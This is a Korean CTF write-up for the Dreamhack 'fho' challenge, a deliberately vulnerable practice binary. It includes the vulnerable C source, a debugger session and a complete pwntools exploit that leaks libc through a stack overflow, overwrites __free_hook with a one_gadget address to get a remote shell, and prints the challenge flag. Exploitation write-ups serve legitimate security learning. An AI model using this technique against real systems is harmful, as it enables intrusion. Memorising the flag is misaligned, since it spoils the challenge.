[dreamhack] fho writeup

1. 문제

thumbnail
fho

Exploit Tech: Hook Overwrite에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/355

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

1번에는 bof 취약점을 가진 코드가 있고, 2번에는 임의 주소에 임의값을 쓸 수 있는 코드, 그리고 마지막은 해당 주소를 free하는 코드이다.


직전까지 canary관련 문제를 풀고 있어서 습관적으로 canary를 leak하고 시작했다. 그런데 아무리봐도 canary와는 상관이 없는 문제인듯해서 다시 들여다봤다. 일단 임의 주소에 임의값을 쓰는게 핵심인 것 같았고, 마지막에 뜬금없이 free함수가 있는 것과 문제 이름이 fho인걸로봐서 free hook overwrite을 사용하는 문제인 것 같다. (문제 description에도 나와있기도 했고…)

예전에 풀었던 문제처럼 __free_hook 변수를 원하는 함수의 주소로 덮으면 해당 함수가 free함수 시작전에 실행이 된다. 따라서

  • ⁣1. 해당 변수에 system("/bin/sh")의 주소를 덮거나 (one gadget)
  • ⁣2. 해당 변수에 system함수를 덮고, addr"/bin/sh" 문자열 주소를 가리키게 하면된다.

여기서는 주소 하나에만 값을 넣을 수 있으므로 one_gadget 방식의 풀이를 원하는 것 같았다.

문제는 checksec으로 확인했을 때 바이너리 상태가 이랬다. (제공된 libc로 패치한 상태)

ubuntu@instance-20250406-1126:~/dreamhack/level2/fho$ checksec fho
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/fho/fho'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    Stripped:   No

PIE가 enabled 상태였고, 뭔가 libc 관련 주소를 leak해야 __free_hook변수의 주소와 one_gadget의 주소를 알 수 있다. 고민고민하다가 bof 취약점을 활용을 안했으니까 이를 확인해야겠다 생각이 들었고, rbp+0x8위치에 __libc_start_main+231의 주소가 들어가있는 것을 확인했다.

pwndbg> r
Starting program: /home/ubuntu/dreamhack/level2/fho/fho 

Breakpoint 1, 0x00005555554008ba in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────
 RAX  0x5555554008ba (main) ◂— push rbp
 RBX  0
 RCX  0x555555400a40 (__libc_csu_init) ◂— push r15
 RDX  0x7fffffffe2d8 —▸ 0x7fffffffe56f ◂— 'SHELL=/bin/bash'
 RDI  1
 RSI  0x7fffffffe2c8 —▸ 0x7fffffffe549 ◂— '/home/ubuntu/dreamhack/level2/fho/fho'
 R8   0x7ffff7becd80 ◂— 0
 R9   0x7ffff7becd80 ◂— 0
 R10  1
 R11  0
 R12  0x5555554007b0 (_start) ◂— xor ebp, ebp
 R13  0x7fffffffe2c0 ◂— 1
 R14  0
 R15  0
 RBP  0x555555400a40 (__libc_csu_init) ◂— push r15
 RSP  0x7fffffffe1e8 —▸ 0x7ffff7821bf7 (__libc_start_main+231) ◂— mov edi, eax
 RIP  0x5555554008ba (main) ◂— push rbp
───────────────────────────────────[ DISASM / x86-64 / set emulate off ]───────────────────────────────────
 ► 0x5555554008ba <main>       push   rbp
   0x5555554008bb <main+1>     mov    rbp, rsp
   0x5555554008be <main+4>     sub    rsp, 0x50
   0x5555554008c2 <main+8>     mov    rax, qword ptr fs:[0x28]            RAX, [0x7ffff7ff85a8]
   0x5555554008cb <main+17>    mov    qword ptr [rbp - 8], rax
   0x5555554008cf <main+21>    xor    eax, eax                            EAX => 0
   0x5555554008d1 <main+23>    mov    rax, qword ptr [rip + 0x200748]     RAX, [stdin@@GLIBC_2.2.5]
   0x5555554008d8 <main+30>    mov    ecx, 0                              ECX => 0
   0x5555554008dd <main+35>    mov    edx, 2                              EDX => 2
   0x5555554008e2 <main+40>    mov    esi, 0                              ESI => 0
   0x5555554008e7 <main+45>    mov    rdi, rax
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe1e8 —▸ 0x7ffff7821bf7 (__libc_start_main+231) ◂— mov edi, eax
01:0008│     0x7fffffffe1f0 ◂— 0x2000000000
02:0010│     0x7fffffffe1f8 —▸ 0x7fffffffe2c8 —▸ 0x7fffffffe549 ◂— '/home/ubuntu/dreamhack/level2/fho/fho'
03:0018│     0x7fffffffe200 ◂— 0x100000000
04:0020│     0x7fffffffe208 —▸ 0x5555554008ba (main) ◂— push rbp
05:0028│     0x7fffffffe210 ◂— 0
06:0030│     0x7fffffffe218 ◂— 0x652f92feaa0c7245
07:0038│     0x7fffffffe220 —▸ 0x5555554007b0 (_start) ◂— xor ebp, ebp
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
 ► 0   0x5555554008ba main
   1   0x7ffff7821bf7 __libc_start_main+231
   2   0x5555554007da _start+42

canary를 leak하는 것과 같이 해당 주소를 leak하려면 buf에 충분히 덮은 다음에 %s를 통해 이어서 나오는 주소를 확인하면 된다. buf의 위치는 rbp-0x40이기 때문에 둘 사이의 거리는 0x48이므로 이만큼 덮어야한다. 단, 64비트에서 주소값은 항상 6바이트이기 때문에 6바이트만 받아온 다음에 널바이트를 2개 추가해준 다음에 p64함수를 사용해야한다.

leak을 한뒤에 받아온 주소는 __libc_start_main+231의 주소이기 때문에 231을 빼주고 __libc_start_main의 offset을 빼줘야 libcbase의 주소를 구할 수 있다.

그런 다음 one_gadget 프로그램과 libc offset을 활용해 사용할 쉘함수와 __free_hook 변수의 주소를 구해주고 하나씩 넣어주면 끝이다.

one_gadget offset을 넣을 때 처음 두개가 안됐고 세번째 offset을 사용하니까 됐다. 노가다

아래는 최종 exploit과 결과이다.

from pwn import *

#p = process("./fho")
p = remote("host3.dreamhack.games", 16702)

elf = ELF("./fho")
libc = ELF("./libc-2.27.so")

p.recvuntil("Buf: ")
p.send(b"a" * 0x40 + b"b" * 8)
p.recvuntil("b" * 8)
libc_start_main_231 = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(libc_start_main_231))

libcbase = libc_start_main_231 - 231 - libc.symbols["__libc_start_main"]
print(hex(libcbase))

free_hook = libcbase + libc.symbols["__free_hook"]
onegadget = libcbase + 0x4f432

print(p.recvuntil("To write: "))
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(onegadget))

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/fho$ python3 e_fho.py 
[+] Opening connection to host3.dreamhack.games on port 16702: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/fho/fho'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    Stripped:   No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/fho/libc-2.27.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/home/ubuntu/dreamhack/level2/fho/e_fho.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Buf: ")
/home/ubuntu/dreamhack/level2/fho/e_fho.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("b" * 8)
0x7f0e554e8bf7
0x7f0e554c7000
/home/ubuntu/dreamhack/level2/fho/e_fho.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  print(p.recvuntil("To write: "))
b'\n[2] Arbitary-Address-Write\nTo write: '
/home/ubuntu/dreamhack/level2/fho/e_fho.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(str(free_hook))
/home/ubuntu/dreamhack/level2/fho/e_fho.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("With: ")
/home/ubuntu/dreamhack/level2/fho/e_fho.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(str(onegadget))
[*] Switching to interactive mode
[0x7f0e558b48e8] = 139699537667122
[3] Arbitrary-Address-Free
To free: $ 
$ id
$ cat flag
DH{a8529ace5e50480658a645aa1a1c88291784335c1c54c5b89d0f43ad1893730c}

해결~